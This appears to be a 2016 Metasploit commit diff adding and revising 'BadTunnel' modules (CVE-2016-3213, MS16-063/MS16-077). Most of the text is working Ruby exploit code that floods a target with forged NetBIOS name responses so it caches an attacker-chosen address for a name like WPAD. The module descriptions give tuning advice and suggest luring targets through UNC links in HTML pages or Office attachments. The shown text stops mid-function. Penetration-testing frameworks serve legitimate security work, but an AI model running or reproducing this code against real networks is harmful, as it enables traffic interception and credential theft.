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Cleanups, addition of a 'direct' module

bug/bundler_fix
HD Moore 2016-06-18 15:37:54 -05:00
parent d8f6be0a3f
commit 6507e520c7
2 changed files with 128 additions and 11 deletions
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102
modules/auxiliary/admin/netbios/netbios_badtunnel_direct.rb Normal file
View File

@ -0,0 +1,102 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::Udp
def initialize
super(
'Name' => 'NetBIOS "BadTunnel" Name Poisoner (Direct)',
'Description' => %q{
This module continuously spams NetBIOS responses to a target for given hostname,
causing the target to cache a malicious address for this name. On high-speed local
networks, the PPSRATE value should be increased to speed up this attack. As an
example, a value of around 30,000 is almost 100% successful when spoofing a
response for a 'WPAD' lookup. Distant targets may require more time and lower
rates for a successful attack.
},
'Authors' => [
'hdm', # Metasploit Module
'tombkeeper' # Vulnerability Discovery
],
'License' => MSF_LICENSE,
'References' =>
[
['URL', 'http://xlab.tencent.com/en/2016/06/17/BadTunnel-A-New-Hope/'],
['CVE', '2016-3213'],
['MSB', 'MS16-063'],
['CVE', '2016-3236'],
['MSB', 'MS16-077']
],
'DisclosureDate' => 'Jun 14 2016'
)
register_options(
[
Opt::RPORT(137),
OptString.new('NBNAME', [ true, "The NetBIOS name to spoof a reply for", 'WPAD' ]),
OptAddress.new('NBADDR', [ true, "The address that the NetBIOS name should resolve to", Rex::Socket.source_address("50.50.50.50") ]),
OptInt.new('PPSRATE', [ true, "The rate at which to send NetBIOS replies", 1_000])
],
self.class
)
end
def netbios_spam
payload =
"\xff\xff" + # TXID
"\x85\x00\x00\x00\x00\x01\x00\x00\x00\x00\x20" +
Rex::Proto::SMB::Utils.nbname_encode( [@fake_name.upcase].pack("A15") + "\x00" ) +
"\x00\x00\x20\x00\x01\x00\xff\xff\xff\x00\x06\x00\x00" +
Rex::Socket.addr_aton(@fake_addr)
stime = Time.now.to_f
pcnt = 0
pps = 0
print_status("BadTunnel: >> Spamming NetBIOS responses for #{@fake_name}/#{@fake_addr} to #{@targ_addr}:#{@targ_port} at #{@targ_rate}/pps...")
live = true
while live
0.upto(65535) do |txid|
begin
payload[0,2] = [txid].pack("n")
@sock.put(payload)
pcnt += 1
pps = (pcnt / (Time.now.to_f - stime)).to_i
if pps > @targ_rate
sleep(0.01)
end
rescue Errno::ECONNREFUSED
print_error("BadTunnel: >> Error: Target sent us an ICMP port unreachable, port is likely closed")
live = false
break
end
end
end
print_status("BadTunnel: >> Cleaning up...")
end
def run
connect_udp
@sock = self.udp_sock
@targ_addr = rhost
@targ_port = rport
@targ_rate = datastore['PPSRATE']
@fake_name = datastore['NBNAME']
@fake_addr = datastore['NBADDR']
netbios_spam
disconnect_udp
end
end

37
modules/auxiliary/server/netbios_badtunnel.rb
View File

@ -13,9 +13,16 @@ class MetasploitModule < Msf::Auxiliary
'Name' => 'NetBIOS "BadTunnel" Service',
'Description' => %q{
This module listens for a NetBIOS name request and then continuously spams
NetBIOS responses for the name "WPAD" to the requesting host and port. This
can cause a system behind a NAT gateway to cache a malicious address for the
"WPAD" hostname.
NetBIOS responses to a target for given hostname, causing the target to cache
a malicious address for this name. On high-speed networks, the PPSRATE value
should be increased to speed up this attack. As an example, a value of around
30,000 is almost 100% successful when spoofing a response for a 'WPAD' lookup.
Distant targets may require more time and lower rates for a successful attack.
This module works when the target is behind a NAT gateway, since the stream of
NetBIOS responses will keep the NAT mapping alive after the initial setup. To
trigger the initial NetBIOS request to the Metasploit system, force the target
to access a UNC link pointing to the same address (HTML, Office attachment, etc).
},
'Authors' => [
'hdm', # Metasploit Module
@ -38,15 +45,17 @@ class MetasploitModule < Msf::Auxiliary
[
'Service'
],
'DefaultAction' => 'Service'
'DefaultAction' => 'Service',
'DisclosureDate' => 'Jun 14 2016'
)
register_options(
[
OptAddress.new('SRVHOST', [ true, "The local host to listen on.", '0.0.0.0' ]),
OptPort.new('SRVPORT', [ true, "The local port to listen on.", 137 ]),
OptAddress.new('WPADHOST', [ true, "The address that WPAD should resolve to", nil ]),
OptInt.new('PPSRATE', [ true, "The rate at which to send NetBIOS replies", 1_000]),
OptString.new('NBNAME', [ true, "The NetBIOS name to spoof a reply for", 'WPAD' ]),
OptAddress.new('NBADDR', [ true, "The address that the NetBIOS name should resolve to", Rex::Socket.source_address("50.50.50.50") ]),
OptInt.new('PPSRATE', [ true, "The rate at which to send NetBIOS replies", 1_000])
], self.class)
end
@ -61,8 +70,9 @@ class MetasploitModule < Msf::Auxiliary
@sock.setsockopt(::Socket::SOL_SOCKET, ::Socket::SO_REUSEADDR, 1)
@sock.bind(datastore['SRVHOST'], @port)
@wpad_host = datastore['WPADHOST']
@targ_rate = datastore['PPSRATE'].to_i
@targ_rate = datastore['PPSRATE']
@fake_name = datastore['NBNAME']
@fake_addr = datastore['NBADDR']
print_status("BadTunnel: Listening for NetBIOS requests...")
@ -78,6 +88,7 @@ class MetasploitModule < Msf::Auxiliary
print_status("BadTunnel: >> Received a NetBIOS request from #{@targ_addr}:#{@targ_port}")
@sock.connect(@targ_addr, @targ_port)
netbios_spam
rescue ::Interrupt
@ -90,14 +101,18 @@ class MetasploitModule < Msf::Auxiliary
end
def netbios_spam
payload = ["FFFF85000000000100000000204648464145424545434143414341434143414341434143414341434143414141000020000100FFFFFF000600000FFFFFFFF"].pack("H*")
payload[58,4] = Rex::Socket.addr_aton(@wpad_host)
payload =
"\xff\xff" + # TXID
"\x85\x00\x00\x00\x00\x01\x00\x00\x00\x00\x20" +
Rex::Proto::SMB::Utils.nbname_encode( [@fake_name.upcase].pack("A15") + "\x00" ) +
"\x00\x00\x20\x00\x01\x00\xff\xff\xff\x00\x06\x00\x00" +
Rex::Socket.addr_aton(@fake_addr)
stime = Time.now.to_f
pcnt = 0
pps = 0
print_status("BadTunnel: >> Spamming WPAD responses to #{@targ_addr}:#{@targ_port} at #{@targ_rate}/pps...")
print_status("BadTunnel: >> Spamming NetBIOS responses for #{@fake_name}/#{@fake_addr} to #{@targ_addr}:#{@targ_port} at #{@targ_rate}/pps...")
live = true
while live